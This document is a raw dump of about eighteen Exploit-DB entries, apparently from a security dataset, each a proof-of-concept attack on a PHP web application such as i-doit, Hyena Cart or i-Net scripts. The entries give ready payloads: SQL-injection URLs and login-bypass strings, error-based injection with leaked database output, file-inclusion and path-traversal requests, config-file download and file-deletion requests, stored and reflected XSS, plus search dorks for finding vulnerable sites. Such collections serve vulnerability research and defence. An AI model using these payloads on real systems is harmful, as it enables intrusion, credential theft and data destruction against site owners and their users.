deardaniel/secdata-raw huggingface dataset:
Exploit-DB #44954
Description: hycus CMS 1.0.4 - Authentication Bypass
Type: webapps
Platform: php
Date: 2018-06-28
Author: Berk Dusunur

Exploit:
# Exploit Title: hycus Content Management System v1.0.4 Login Page Bypass
# Google Dork:N/A
# Date: 28.06.2018
# Exploit Author: Berk Dusunur
# Vendor Homepage: http://www.hycus.com/
# Software Link: http://demosite.center/hycus/
# Version: 1.0.4
# Tested on: Pardus / Debian Web Server
# CVE : N/A

#Proof Of Concept

use login bypass payload for username=   '=' 'OR'   for password=   '=' 'OR'
Exploit-DB #16213
Description: Hyena Cart - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2011-02-23
Author: AtT4CKxT3rR0r1ST

Exploit:
Hyena Cart (index.php) Sql Injection Vulnerability 
====================================================================

####################################################################
.:. Author         : AtT4CKxT3rR0r1ST  [F.Hack@w.cn]
.:. Script         : http://hyenacart.com/
.:. Dork           : "This store is powered by Hyena Cart"
.:. Home           : http://www.sec-risk.com/vb/

####################################################################

===[ Exploit ]===

www.site.com/index.php?info=null[Sql]

www.site.com/index.php?info=null+and+1=2+union+select+1,version(),3,4,5,6
####################################################################
Exploit-DB #29909
Description: HYIP Manager Pro - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2007-04-25
Author: alijsb

Exploit:
source: https://www.securityfocus.com/bid/23663/info

HYIP Manager Pro is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible. 

http://www.example.com/inc/libs/Smarty_Compiler.class.php?plugin_file=http://www,example2.com
Exploit-DB #51698
Description: Hyip Rio 2.1 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2023-09-04
Author: CraCkEr

Exploit:
# Exploit Title: Hyip Rio 2.1 - Arbitrary File Upload
# Exploit Author: CraCkEr
# Date: 30/07/2023
# Vendor: tdevs
# Vendor Homepage: https://tdevs.co/
# Software Link: https://hyiprio-feature.tdevs.co/
# Version: 2.1
# Tested on: Windows 10 Pro
# Impact: Allows User to upload files to the web server
# CVE: CVE-2023-4382


## Description

Allows Attacker to upload malicious files onto the server, such as Stored XSS


## Steps to Reproduce:

1. Login as a [Normal User]
2. In [User Dashboard], go to [Profile Settings] on this Path: https://website/user/settings
3. Upload any Image into the [avatar]
4. Capture the POST Request with [Burp Proxy Intercept]
5. Edit the file extension to .svg & inject your [Evil-Code] or [Stored XSS]

-----------------------------------------------------------
POST /user/settings/profile-update HTTP/2

Content-Disposition: form-data; name="avatar"; filename="XSS.svg"
Content-Type: image/png

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS by Skalvin");
</script>
</svg>
-----------------------------------------------------------

6. Send the Request
7. Capture the GET request from [Burp Logger] to get the Path of your Uploaded [Stored-XSS] or right-click on the Avatar and Copy the Link
8. Access your Uploded Evil file on this Path: https://website/assets/global/images/********************.svg



[-] Done
Exploit-DB #32395
Description: HyperStop WebHost Directory 1.2 - Database Disclosure
Type: webapps
Platform: php
Date: 2008-09-19
Author: r45c4l

Exploit:
source: https://www.securityfocus.com/bid/31249/info

HyperStop WebHost Directory is reported prone to an information-disclosure vulnerability.

Successful exploits of this issue may allow an attacker to obtain sensitive information by downloading the full contents of the application's database.

HyperStop WebHost Directory 1.2 is vulnerable; other versions may also be affected. 

http://www.example.com/admin/backup/db
Exploit-DB #17320
Description: i-doIT 0.9.9-4 - Local File Inclusion
Type: webapps
Platform: php
Date: 2011-05-25
Author: AutoSec Tools

Exploit:
# ------------------------------------------------------------------------
# Software................i-doIT 0.9.9-4
# Vulnerability...........Local File Inclusion
# Threat Level............Critical (4/5)
# Download................http://www.i-doit.org/
# Discovery Date..........5/23/2011
# Tested On...............Windows Vista + XAMPP
# ------------------------------------------------------------------------
# Author..................AutoSec Tools
# Site....................http://www.autosectools.com/
# Email...................John Leitch <john@autosectools.com>
# ------------------------------------------------------------------------
# 
# 
# --Description--
# 
# A local file inclusion vulnerability in i-doIT 0.9.9-4 can be
# exploited to include arbitrary files.
# 
# 
# --PoC--

http://localhost/idoit/controller.php?load=&lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00.jpg
Exploit-DB #46620
Description: i-doit 1.12 - 'qr.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2019-03-28
Author: BlackFog Team

Exploit:
# Exploit Title: i-doit 1.12 Cross Site Scripting on qr.php file
# Date: 28-03-2019
# Software Link: https://www.i-doit.org/
# Version: 1.12
# Exploit Author: BlackFog Team
# Contact: info@securelayer7.net
# Website: https://securelayer7.net
# Category: webapps
# Tested on: Firefox in Kali Linux.
# CVE: CVE-2019-6965




Vendor Description
==================
i-doit offers you a professional IT-documentation solution based on ITIL
guidelines. You can document IT systems and their changes, define emergency
plans, display vital information and ensure a stable and efficient
operation of IT networks.



Attack Type
==================
Reflected Cross Site Scripting on qr.php file in URL perameter reported By
Touhid M.Shaikh(@touhidshaikh22).



Proof of Concept
==================
https://IP_ADDRESS/src/tools/php/qr/qr.php?url=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E


Vulnerable Code.
==================
---------------------------------- qr.php Source Code
-----------------------------

..................................... SNIP
........................................
$l_url = @$_GET['url'];                                    <--- Vulnerable
Perameter

..................................... SNIP
........................................

<img id="code" src="<?php echo $l_url; ?>images/ajax-loading.gif"
alt="Error loading the QR Code" /> <--- Display  Here without any
validation.

 ------------------------------qr.php Source Code ends
---------------------------



Fixed
======
Update to latest


Timeline
========
10 Jan, 2018 === Update to Customer
11 Jan, 2018 === Got Mail to Trigger the issue and we are able to repoduce
the same.
15 Jan, 2018 === Provided Hotfix.
17 Jan, 2018 === Got Thanks for responsible disclosure and agree to publish
on public.
Exploit-DB #46133
Description: i-doit CMDB 1.12 - Arbitrary File Download
Type: webapps
Platform: php
Date: 2019-01-14
Author: Ihsan Sencan

Exploit:
# Exploit Title: i-doit CMDB 1.12 - Arbitrary File Download
# Dork: N/A
# Date: 2019-01-11
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://www.i-doit.org/
# Software Link: https://netcologne.dl.sourceforge.net/project/i-doit/i-doit/1.12/idoit-open-1.12.zip
# Version: 1.12
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/index.php?file_manager=image&file=[FILE]
# Users..
# 

GET /[PATH]/index.php?file_manager=image&file=src/config.inc.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=h6qbu3jsemq9en8c3epiri8323
Connection: keep-alive
HTTP/1.1 200 OK
Date: Sat, 12 Jan 2019 17:30:16 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Sat, 12 Jan 2019 19:30:17 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
i-doit-Authorized: 1
Last-Modified: Sat, 12 Jan 2019 17:30:17 GMT
Content-Length: 1282
Content-Disposition: inline; filename="src/config.inc.php"
Content-Transfer-Encoding: binary
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/octet-stream
Exploit-DB #46134
Description: i-doit CMDB 1.12 - SQL Injection
Type: webapps
Platform: php
Date: 2019-01-14
Author: Ihsan Sencan

Exploit:
# Exploit Title: i-doit CMDB 1.12 - SQL Injection
# Dork: N/A
# Date: 2019-01-11
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://www.i-doit.org/
# Software Link: https://netcologne.dl.sourceforge.net/project/i-doit/i-doit/1.12/idoit-open-1.12.zip
# Version: 1.12
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/?objGroupID=[SQL]
# Users..
# 

GET /[PATH]/?objGroupID=%31%32%27%7c%7c%28SeleCT%20%27Efe%27%20FroM%20duAL%20WheRE%20110=110%20AnD%20%28seLEcT%20112%20frOM(SElecT%20CouNT(*)%2cConCAT%28CONcat(0x203a20%2cUseR()%2cDAtaBASe()%2cVErsION())%2c(SeLEct%20%28ELT(112=112%2c1%29%29%29%2cFLooR(RAnd(0)*2))x%20FROM%20INFOrmatION_SchEMA.PluGINS%20grOUp%20BY%20x%29a%29%29%7c%7c%27 HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=h6qbu3jsemq9en8c3epiri8323
Connection: keep-alive
HTTP/1.1 200 OK
Date: Sat, 12 Jan 2019 16:47:58 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
i-doit-Authorized: 1
X-i-doit-Notification-0: {"message":"Database error : Query error: 'SELECT DISTINCT(isys_obj_type_group__const) FROM isys_obj_type\r\n\t\t\tINNER JOIN isys_obj_type_group ON isys_obj_type_group__id = isys_obj_type__isys_obj_type_group__id WHERE isys_obj_type_group__status = 2 AND isys_obj_type_group__id = '12'||(SeleCT 'Efe' FroM duAL WheRE 110=110 AnD (seLEcT 112 frOM(SElecT CouNT(*),ConCAT(CONcat(0x203a20,UseR(),DAtaBASe(),VErsION()),(SeLEct (ELT(112=112,1))),FLooR(RAnd(0)*2))x FROM INFOrmatION_SchEMA.PluGINS grOUp BY x)a))||''  ORDER BY isys_obj_type_group__sort, isys_obj_type_group__const ASC LIMIT 0,1':\nDuplicate entry ' : admin@localhostidoit_data10.1.21-MariaDB11' for key 'group_key'\n","type":2,"options":{"sticky":true,"width":"400px","header":""}}
Keep-Alive: timeout=5, max=87
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=utf-8
Exploit-DB #48427
Description: i-doit Open Source CMDB 1.14.1 - Arbitrary File Deletion
Type: webapps
Platform: php
Date: 2020-05-06
Author: Besim

Exploit:
# Exploit Title: i-doit Open Source CMDB 1.14.1 - Arbitrary File Deletion
# Date: 2020-05-02
# Author: Besim ALTINOK
# Vendor Homepage: https://www.i-doit.org/
# Software Link: https://sourceforge.net/projects/i-doit/
# Version: v1.14.1
# Tested on: Xampp
# Credit: İsmail BOZKURT

--------------------------------------------------------------------------------------------------

Vulnerable Module ---> Import Module
Vulnerable parameter ---> delete_import
-----------
PoC
-----------

POST /idoit/?moduleID=50&param=1&treeNode=501&mNavID=2 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 ******************************
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/idoit/?moduleID=50&param=1&treeNode=501&mNavID=2
X-Requested-With: XMLHttpRequest
X-Prototype-Version: 1.7.3
Content-type: application/x-www-form-urlencoded; charset=UTF-8
X-i-doit-Tenant-Id: 1
Content-Length: 30
DNT: 1
Connection: close
Cookie: PHPSESSID=bf21********************************68b8

delete_import=Type the filename, you want to delete from the server here
Exploit-DB #39096
Description: i-doit Pro - 'objID' SQL Injection
Type: webapps
Platform: php
Date: 2014-02-17
Author: Stephan Rickauer

Exploit:
source: https://www.securityfocus.com/bid/65557/info

i-doit Pro is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

i-doit Pro 1.2.4 and prior are vulnerable. 

http://www.example.com/?objID=[SQL Injection]
Exploit-DB #10809
Description: I-Escorts Directory - 'country_escorts.php?country_id' SQL Injection
Type: webapps
Platform: php
Date: 2009-12-30
Author: R3d-D3V!L

Exploit:
[?] ?????????????????????????{In The Name Of Allah The Mercifull}??????????????????????
[?]
[~] Vendor: www.i-escorts.co.uk
[*] TEAM:ArAB!AN !NFORMAT!ON SeCuR!TY
[?] Home: WwW.xP10.ME
[?]
[?]??????????????????????{DEV!L'5 of SYST3M}??????????????????

[*] Err0r C0N50L3:
http://server/escorts-directory/country_escorts.php?country_id=(SQL)

[~] (SQL):

escorts-directory/country_escorts.php?country_id=-1+union+select+@@version

[*] MASS TABLE5:

escortcms_admin:admin_password:
doc_user:user_password
forums_forums:password
forums_users:password
letter_admin:password
letter_member:password
ost_email:userpass
ost_staff:passwd
directory_admin:admin_password
directory_admin:authorize_merchantpass

N073:

! 7h!/\/k u can f!nd m0r3
just let your m1nd breath ;)


[~]-----------------------------{D3V!L5 0F 7h3 SYS73M!?!}----------------------------------

[~] Greetz tO: dolly & L!TTLE 547r & 0r45hy & DEV!L_MODY & po!S!ON Sc0rp!0N & mAG0ush_1987

[~]70 ALL ARAB!AN HACKER 3X3PT : LAM3RZ

[~] spechial thanks : ab0 mohammed & XP_10 h4CK3R & JASM!N & c0prA & MARWA & N0RHAN & S4R4

[?]spechial SupP0RT: MY M!ND ;) & ((OFFsec))

[?]4r48!4n.!nforma7!0N.53cur!7y ---> ((r3d D3v!L))--M2Z--DEV!L_Ro07--JUPA

[~]spechial FR!ND: 74M3M

[~] !'M 4R48!4N 3XPL0!73R.

[~] {[(D!R 4ll 0R D!E)]};

[~]--------------------------------------------------------------------------------
Exploit-DB #14351
Description: I-net Enquiry Management Script - SQL Injection
Type: webapps
Platform: php
Date: 2010-07-13
Author: D4rk357

Exploit:
Name : I-net Enquiry management  Script SQL Injection Vulnerability
Date : july 13, 2010
Critical Level     : HIGH
Vendor Url : http://www.i-netsolution.com/
Author : D4rk357 D4rk357[at]yahoo][dot]in
special thanks to : b0nd, Fbih2s,rockey killer,The empty(), punter,eberly,prashant
greetz to :http://www.garage4hackers.com/forum.php , h4ck3r.in and  all ICW members
#####################################################################################
Description :I-Net Enquiry Management This application is boon for people finding difficult
ies in managing their Incoming Enquiries from various sources and their replies to them.
 Enquires are the source of Growing business in any areas of life. Be it a small business
or a Big enterprise, effective handling of the generated enquires leads to new business 
and New sales. Our Research shows that there is a huge market / need for such application 
which can manage the business enquires and handle them effectively. Companies are making 
huge losses as their enquires go unattended or not properly responded. Our IEM takes care 
of the complete requirement and provides Total solution for such need from any quarter of 
business segment. The specifications are as under: The enquiry management system is a web 
based application using latest PHP technologies and MYSQL database.  
########################################################################
Exploit:SQLi Injection
 I-net Enquiry mannagement  Script has sql injection vulnerability 

DEMO URL :http://<server>/Products/order_management/viewaddedenquiry.php?id=[SQli]

###############################################
#When you really want something the whole uniververse consipres for you to achieve it :Paulo Coelho
#D4rk357
Exploit-DB #14080
Description: I-Net MLM Script Engine - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-27
Author: Sid3^effects

Exploit:
1               ##########################################             1
0               I'm Sid3^effects member from Inj3ct0r Team             1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
Vendor Url : http://www.i-netsolution.com/
Google Dork: inurl:/jobsearchengine/
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz 
#######################################################################################################

Description:
  	I-Net MLM is Complete, Automated Software for MLM Business ( Direct Marketing Software ) Our most comprehensive MLM software, "I-Net MLM" provides the functionality needed to tackle even the most challenging MLM issues.This Customized MLM Software plays vital role in the success of MLM Organization. It proves to be an important parameter for building confidence of company's new associates on the management

#######################################################################################################

Xploit: SQLi VUlnerability


The I-net MLM script has auth bypass vuln 
by using ' or 1=1 or ''=' in both username and password the attacker can get the access 


###############################################################################################################
# 0day no more 
# Sid3^effects
Exploit-DB #14095
Description: I-net Multi User Email Script - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-28
Author: Sid3^effects

Exploit:
Name : I-net Multi User Email Script SQLi Vulnerability
Date : june, 27 2010
Critical Level     : HIGH
Vendor Url : http://www.i-netsolution.com/
Google Dork: inurl:/jobsearchengine/
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz
#######################################################################################################

Description:
      i-Net Multi User Email Script to start your own Email Website like GMAIL, YAHOO Mail, Hot Mail made in CGI/PERL, tested over Linux

Servers. Features of i-Net Multi User Email Script, Advanced Spam Filtering, RBL Blacklisting, Completely MIME compatible, Contact List

Members Filter Proof, Multiple Skins, Limit Users Outgoing Mail (Depending on User Level) Sort Inbox With Several Criteria, Fully

customizable via HTML templates, Mod_Perl Compatible, New Mail Sounds, WYSIWYG Mail Interface, Multiple Tiered Premium Accounts, Premium

Accounts using Paypal & Subscriptions, SMTP or Send mail, Fully functional calendar and scheduler, Unlimited User Folders, Folder Filtering

(Incoming mail directed to specific folders), Email notifications of new mail, MySQL backend, Backup, Powerful Admin Panel, Ban IP, Advanced

User Editing, Account Suspensions, User Address Book, i-Net Talk and many more features.

#######################################################################################################

Xploit: SQLi VUlnerability


The I-net Multi User Email Script has SQli vuln :D

DEMO URL : http://server/products/2daybizemail/php121_editname.php?uid=[sqli]

###############################################################################################################
# 0day no more
# Sid3^effects
Exploit-DB #12413
Description: i-Net Online Community - Cross-Site Scripting / Authentication Bypass
Type: webapps
Platform: php
Date: 2010-04-27
Author: Sid3^effects

Exploit:
         ______________________________________________________________________________                     XSS and Authentication bypass in i-Net Online Community site script
                    Vendor:http://www.i-netsolution.com/
 _______________________Author:Sid3^effects aKa haRi____________________________
 

Description :

i-Net Online Community site script is an online social networking software that allows you to start your own site just like Myspace, Hi5 and Facebook. Our online community script allow members to connect with people in their personal networks and people can create a new online interactive resource that is based on a trusted network of friends and associates on the internet. This online community website script can be customized and be branded for you.


---------------------------------------------------------------------------
	* Authentication bypass:

	The following script has authentication bypass.

	use ' or 1=1 or ''=' in both login and password.

DEMO URL  :http://server/kool_kampus/login.php

---------------------------------------------------------------------------
       * XSS :
   
    Attack parameter :'"--><script>alert(0x000872)</script>
    
Demo URL :http://server/kool_kampus/search_user.php

---------------------------------------------------------------------------

ShoutZ :
------- 
               ---Indian Cyber warriors--Andhra hackers-- 

Greetz :
--------
 ---*L0rd ÇrusAdêr*---d4rk-blu™® [ICW]---R45C4L idi0th4ck3r---CR4C|< 008---M4n0j--MaYuR--
Exploit-DB #34252
Description: i-Net Solution Matrimonial Script 2.0.3 - 'alert.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-07-06
Author: Andrea Bocchetti

Exploit:
source: https://www.securityfocus.com/bid/41387/info

i-Net Solution Matrimonial Script is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

i-Net Solution Matrimonial Script 2.0.3 is vulnerable; other versions may also be affected. 

http://www.example.com/products/shaadi/alert.php?id=%3Cscript%3Ealert(/XSS/)%3C/script%3E